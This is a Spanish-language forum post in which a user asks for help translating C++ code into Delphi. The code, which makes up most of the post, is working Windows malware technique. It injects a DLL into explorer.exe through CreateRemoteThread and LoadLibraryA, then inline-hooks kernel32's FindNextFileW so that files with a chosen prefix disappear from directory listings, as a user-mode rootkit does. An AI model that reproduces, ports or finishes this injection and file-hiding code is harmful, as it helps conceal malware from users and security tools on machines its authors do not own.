angelp4492 |
04-06-2015 18:01:23 |
Traducir código C++ a Delphi
Hola estoy intentando estudiando las inyecciones dell en delphi y tenco este code en c++
Código PHP:
#include #include void main() { HANDLE proceso; LPVOID RemoteString; LPVOID nLoadLibrary; int pid; // OBTENEMOS EL PID DEL PROCESO // (Si quieren información sobre estas APIs miren la ayuda de microsoft) HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) }; //Aquí empezamos a recorrer todos los procesos que están abiertos while(Process32Next(handle, &procinfo)) { if(!strcmp(procinfo.szExeFile, "explorer.exe")) //comparamos los nombres { CloseHandle(handle); pid = procinfo.th32ProcessID; //guardamos el PID } } CloseHandle(handle); // INYECTAMOS LA DLL // (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo) proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid); nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"); RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen("H:\\Dll.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); WriteProcessMemory(proceso,(LPVOID)RemoteString,"H:\\Dll.dll",strlen("H:\\Dll.dll"),NULL); CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL); CloseHandle(proceso); }
esta parte ya la he traducido
pero me falta esta
Código PHP:
void Hookear() { DWORD ProteVieja; // Parametro para VirtualProtect BYTE *DirFN; // La dirección en memoria de FindNextFileW BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW // –> HOOKEAMOS FINDNEXTFILEW (7 bytes) // Obtenemos la dirección en memoria de FindNextFileW. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW"); //Reservamos 12 bytes de memoria para nuestro Buffer //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D BufferFN=(BYTE *) malloc (12); //Le damos todos los permisos a los 12 bytes de nuestro Buffer VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja); // Copiamos los 7 primeros bytes del api en el buffer memcpy(BufferFN,DirFN,7); BufferFN += 7; // En los 5 bytes restantes… // En el primero introducimos un jmp *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp BufferFN++; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8); // Le damos todos los permisos a los 5 primeros bytes de la api original VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja); // Cambiamos el tipo a puntero a byte para facilitar el trabajo DirYoFN=(BYTE *) miFindNextFileW; // En el inicio de la api metemos un jmp para que salte a miFindNextFileW *DirFN=0xE9; DirFN++; // Metemos la distancia del salto *((signed int *) DirFN) = DirYoFN - DirFN - 4; // Libermos librerias de cache FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }
Código PHP:
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData) { // Ocultamos los archivos que empiecen por el prefijo indicado HANDLE hand; char ascStr[611]; do { hand = pBuffFN(hFindFile,lpFindFileData); WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL); } while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL); return hand; }
alguien me echa una mano
|